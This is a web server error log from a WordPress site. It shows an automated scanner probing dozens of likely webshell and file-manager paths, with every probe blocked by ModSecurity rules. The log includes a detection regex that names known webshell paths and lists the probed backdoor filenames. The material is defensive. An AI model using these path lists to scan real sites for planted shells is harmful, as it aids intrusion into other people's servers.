[Fri Feb 27 04:32:09.391459 2026] [proxy_fcgi:error] [pid 4081:tid 4104] [client 173.239.214.7:59321] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:09.883961 2026] [:error] [pid 4081:tid 4084] [client 173.239.214.7:59321] [client 173.239.214.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aaCtyQ55mnr35z8h7t3aTgAAAME"]
[Fri Feb 27 04:32:10.475813 2026] [proxy_fcgi:error] [pid 42658:tid 42662] [client 185.198.240.146:24983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:10.774442 2026] [proxy_fcgi:error] [pid 42658:tid 42665] [client 185.198.240.146:24983] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:11.066620 2026] [:error] [pid 42658:tid 42684] [client 185.198.240.146:24983] [client 185.198.240.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aaCty4zcoYl3nRbu1jZC-AAAAhg"]
[Fri Feb 27 04:32:11.667523 2026] [:error] [pid 5365:tid 5375] [client 185.198.240.141:47101] [client 185.198.240.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/firewall.php7"] [unique_id "aaCty5YAa8J3tYxdG3wFUQAAAQg"]
[Fri Feb 27 04:32:12.553539 2026] [:error] [pid 42435:tid 42445] [client 45.131.195.210:35911] [client 45.131.195.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aaCtzB5hHLnaukp_y994hwAAAYU"]
[Fri Feb 27 04:32:13.453152 2026] [proxy_fcgi:error] [pid 42435:tid 42440] [client 185.198.240.135:32449] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:14.298917 2026] [proxy_fcgi:error] [pid 42435:tid 42461] [client 185.198.240.135:32449] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:14.584524 2026] [proxy_fcgi:error] [pid 42435:tid 42452] [client 185.198.240.135:32449] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:14.890008 2026] [:error] [pid 42435:tid 42463] [client 185.198.240.135:32449] [client 185.198.240.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aaCtzh5hHLnaukp_y994zAAAAZc"]
[Fri Feb 27 04:32:15.442723 2026] [:error] [pid 42563:tid 42577] [client 173.239.214.2:38591] [client 173.239.214.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aaCtz3KL5BclZy73IRGqhwAAAcg"]
[Fri Feb 27 04:32:17.546465 2026] [proxy_fcgi:error] [pid 42435:tid 42463] [client 173.239.214.15:63481] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:18.172308 2026] [:error] [pid 42435:tid 42453] [client 173.239.214.15:63481] [client 173.239.214.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aaCt0h5hHLnaukp_y995CgAAAY0"]
[Fri Feb 27 04:32:20.434482 2026] [:error] [pid 4081:tid 4102] [client 185.198.240.147:62907] [client 185.198.240.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aaCt1A55mnr35z8h7t3aiAAAANM"]
[Fri Feb 27 04:32:21.364251 2026] [proxy_fcgi:error] [pid 42563:tid 42579] [client 173.239.214.17:46887] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:21.649478 2026] [proxy_fcgi:error] [pid 42563:tid 42587] [client 173.239.214.17:46887] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:21.963148 2026] [:error] [pid 42563:tid 42582] [client 173.239.214.17:46887] [client 173.239.214.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aaCt1XKL5BclZy73IRGqtgAAAcw"]
[Fri Feb 27 04:32:22.830491 2026] [proxy_fcgi:error] [pid 42658:tid 42660] [client 173.239.214.8:33455] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:23.154438 2026] [proxy_fcgi:error] [pid 42658:tid 42674] [client 173.239.214.8:33455] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:23.765453 2026] [proxy_fcgi:error] [pid 42658:tid 42662] [client 173.239.214.8:33455] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:24.572156 2026] [:error] [pid 42658:tid 42664] [client 173.239.214.8:33455] [client 173.239.214.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aaCt2IzcoYl3nRbu1jZDowAAAgQ"]
[Fri Feb 27 04:32:25.084200 2026] [proxy_fcgi:error] [pid 42658:tid 42673] [client 173.239.214.16:55861] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:25.640010 2026] [:error] [pid 42658:tid 42683] [client 173.239.214.16:55861] [client 173.239.214.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/sky-pro/js.php"] [unique_id "aaCt2YzcoYl3nRbu1jZDswAAAhc"]
[Fri Feb 27 04:32:26.495374 2026] [:error] [pid 5365:tid 5390] [client 173.239.214.4:20335] [client 173.239.214.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aaCt2pYAa8J3tYxdG3wF5wAAARc"]
[Fri Feb 27 04:32:27.350617 2026] [proxy_fcgi:error] [pid 42435:tid 42461] [client 173.239.214.11:50259] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:28.233451 2026] [proxy_fcgi:error] [pid 42435:tid 42455] [client 173.239.214.11:50259] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:28.555123 2026] [proxy_fcgi:error] [pid 42435:tid 42449] [client 173.239.214.11:50259] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:29.221580 2026] [:error] [pid 42435:tid 42450] [client 173.239.214.11:50259] [client 173.239.214.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.11, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aaCt3R5hHLnaukp_y995uAAAAYo"]
[Fri Feb 27 04:32:29.834739 2026] [proxy_fcgi:error] [pid 42435:tid 42451] [client 173.239.214.11:50259] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:30.645121 2026] [:error] [pid 42435:tid 42455] [client 173.239.214.11:50259] [client 173.239.214.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aaCt3h5hHLnaukp_y995ygAAAY8"]
[Fri Feb 27 04:32:31.288508 2026] [proxy_fcgi:error] [pid 42563:tid 42581] [client 185.198.240.140:53509] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:31.591072 2026] [:error] [pid 42563:tid 42580] [client 185.198.240.140:53509] [client 185.198.240.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aaCt33KL5BclZy73IRGq5AAAAco"]
[Fri Feb 27 04:32:32.212578 2026] [proxy_fcgi:error] [pid 3975:tid 4027] [client 209.87.169.176:53797] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:32.789022 2026] [proxy_fcgi:error] [pid 3975:tid 4012] [client 209.87.169.176:53797] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:33.345466 2026] [:error] [pid 3975:tid 4023] [client 209.87.169.176:53797] [client 209.87.169.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aaCt4RMVp0-T2hD76b26kwAAAI0"]
[Fri Feb 27 04:32:34.287879 2026] [proxy_fcgi:error] [pid 3974:tid 4035] [client 173.239.214.5:43549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:34.605746 2026] [proxy_fcgi:error] [pid 3974:tid 4055] [client 173.239.214.5:43549] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:35.248083 2026] [:error] [pid 3974:tid 4057] [client 173.239.214.5:43549] [client 173.239.214.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aaCt43p-fQtdOYjkuFvYjwAAAFQ"]
[Fri Feb 27 04:32:36.084494 2026] [:error] [pid 42658:tid 42668] [client 185.198.240.136:22537] [client 185.198.240.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aaCt5IzcoYl3nRbu1jZEFAAAAgg"]
[Fri Feb 27 04:32:36.637710 2026] [proxy_fcgi:error] [pid 42658:tid 42663] [client 173.239.214.20:53705] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:36.928438 2026] [proxy_fcgi:error] [pid 42658:tid 42670] [client 173.239.214.20:53705] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:37.485264 2026] [:error] [pid 42658:tid 42666] [client 173.239.214.20:53705] [client 173.239.214.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aaCt5YzcoYl3nRbu1jZEJwAAAgY"]
[Fri Feb 27 04:32:38.376493 2026] [proxy_fcgi:error] [pid 3974:tid 4033] [client 173.239.214.16:24717] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:38.955827 2026] [proxy_fcgi:error] [pid 3974:tid 4042] [client 173.239.214.16:24717] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:39.239112 2026] [:error] [pid 3974:tid 4057] [client 173.239.214.16:24717] [client 173.239.214.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aaCt53p-fQtdOYjkuFvYmQAAAFQ"]
[Fri Feb 27 04:32:40.103042 2026] [:error] [pid 42658:tid 42661] [client 185.198.240.157:61233] [client 185.198.240.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/db.php"] [unique_id "aaCt6IzcoYl3nRbu1jZEMAAAAgE"]
[Fri Feb 27 04:32:40.633194 2026] [:error] [pid 5365:tid 5385] [client 173.239.214.5:42373] [client 173.239.214.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aaCt6JYAa8J3tYxdG3wGTQAAARI"]
[Fri Feb 27 04:32:41.166574 2026] [:error] [pid 42658:tid 42663] [client 209.87.169.176:50899] [client 209.87.169.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aaCt6YzcoYl3nRbu1jZENgAAAgM"]
[Fri Feb 27 04:32:41.726347 2026] [:error] [pid 5365:tid 5383] [client 173.239.214.15:40897] [client 173.239.214.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aaCt6ZYAa8J3tYxdG3wGWQAAARA"]
[Fri Feb 27 04:32:42.256880 2026] [:error] [pid 3975:tid 4027] [client 173.239.214.28:25867] [client 173.239.214.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aaCt6hMVp0-T2hD76b26lwAAAJE"]
[Fri Feb 27 04:32:43.040311 2026] [:error] [pid 42658:tid 42661] [client 173.239.214.26:48975] [client 173.239.214.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aaCt64zcoYl3nRbu1jZETQAAAgE"]
[Fri Feb 27 04:32:45.580253 2026] [:error] [pid 42658:tid 42674] [client 173.239.214.27:38097] [client 173.239.214.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aaCt7YzcoYl3nRbu1jZEegAAAg4"]
[Fri Feb 27 04:32:46.152059 2026] [:error] [pid 21329:tid 21383] [client 173.239.214.14:39677] [client 173.239.214.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aaCt7pvQWnde-MjcQ1FSzwAAAUA"]
[Fri Feb 27 04:32:46.844657 2026] [:error] [pid 21329:tid 21388] [client 185.198.240.153:31653] [client 185.198.240.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aaCt7pvQWnde-MjcQ1FS1wAAAUU"]
[Fri Feb 27 04:32:47.733960 2026] [:error] [pid 42563:tid 42590] [client 45.131.195.210:63915] [client 45.131.195.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aaCt73KL5BclZy73IRGrLAAAAdQ"]
[Fri Feb 27 04:32:48.979458 2026] [:error] [pid 42563:tid 42573] [client 185.198.240.142:26065] [client 185.198.240.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aaCt8HKL5BclZy73IRGrOwAAAcU"]
[Fri Feb 27 04:32:49.633443 2026] [proxy_fcgi:error] [pid 42563:tid 42592] [client 173.239.214.12:26925] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:50.893912 2026] [:error] [pid 42563:tid 42588] [client 173.239.214.12:26925] [client 173.239.214.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.12, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aaCt8nKL5BclZy73IRGrSwAAAdI"]
[Fri Feb 27 04:32:54.049047 2026] [proxy_fcgi:error] [pid 42563:tid 42592] [client 173.239.214.12:26925] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:54.347729 2026] [:error] [pid 42563:tid 42584] [client 173.239.214.12:26925] [client 173.239.214.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aaCt9nKL5BclZy73IRGrXQAAAc4"]
[Fri Feb 27 04:32:54.945862 2026] [:error] [pid 42563:tid 42581] [client 45.131.195.210:21987] [client 45.131.195.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aaCt9nKL5BclZy73IRGrYwAAAcs"]
[Fri Feb 27 04:32:56.427632 2026] [proxy_fcgi:error] [pid 5365:tid 5382] [client 185.198.240.139:34967] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:56.706825 2026] [proxy_fcgi:error] [pid 5365:tid 5378] [client 185.198.240.139:34967] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:57.896778 2026] [proxy_fcgi:error] [pid 5365:tid 5385] [client 185.198.240.139:34967] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:58.165460 2026] [proxy_fcgi:error] [pid 5365:tid 5384] [client 185.198.240.139:34967] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:59.387729 2026] [proxy_fcgi:error] [pid 5365:tid 5380] [client 185.198.240.139:34967] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:59.699744 2026] [proxy_fcgi:error] [pid 5365:tid 5374] [client 185.198.240.139:34967] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:32:59.978431 2026] [proxy_fcgi:error] [pid 5365:tid 5382] [client 185.198.240.139:34967] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:00.334796 2026] [proxy_fcgi:error] [pid 5365:tid 5378] [client 185.198.240.139:34967] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:00.643157 2026] [:error] [pid 5365:tid 5367] [client 185.198.240.139:34967] [client 185.198.240.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaCt_JYAa8J3tYxdG3wGvgAAAQA"]
[Fri Feb 27 04:33:01.190803 2026] [:error] [pid 42563:tid 42589] [client 173.239.214.12:37805] [client 173.239.214.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aaCt_XKL5BclZy73IRGrigAAAdM"]
[Fri Feb 27 04:33:01.745268 2026] [:error] [pid 42658:tid 42676] [client 173.239.214.22:31751] [client 173.239.214.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aaCt_YzcoYl3nRbu1jZFDAAAAhA"]
[Fri Feb 27 04:33:02.826454 2026] [proxy_fcgi:error] [pid 42658:tid 42665] [client 185.198.240.140:53367] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:03.181466 2026] [proxy_fcgi:error] [pid 42658:tid 42680] [client 185.198.240.140:53367] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:03.729466 2026] [proxy_fcgi:error] [pid 42658:tid 42671] [client 185.198.240.140:53367] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:04.275868 2026] [:error] [pid 42658:tid 42664] [client 185.198.240.140:53367] [client 185.198.240.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aaCuAIzcoYl3nRbu1jZFPAAAAgQ"]
[Fri Feb 27 04:33:04.827703 2026] [:error] [pid 4081:tid 4084] [client 173.239.214.20:39171] [client 173.239.214.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aaCuAA55mnr35z8h7t3bRwAAAME"]
[Fri Feb 27 04:33:05.444829 2026] [:error] [pid 42658:tid 42670] [client 173.239.214.5:22407] [client 173.239.214.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aaCuAYzcoYl3nRbu1jZFSAAAAgo"]
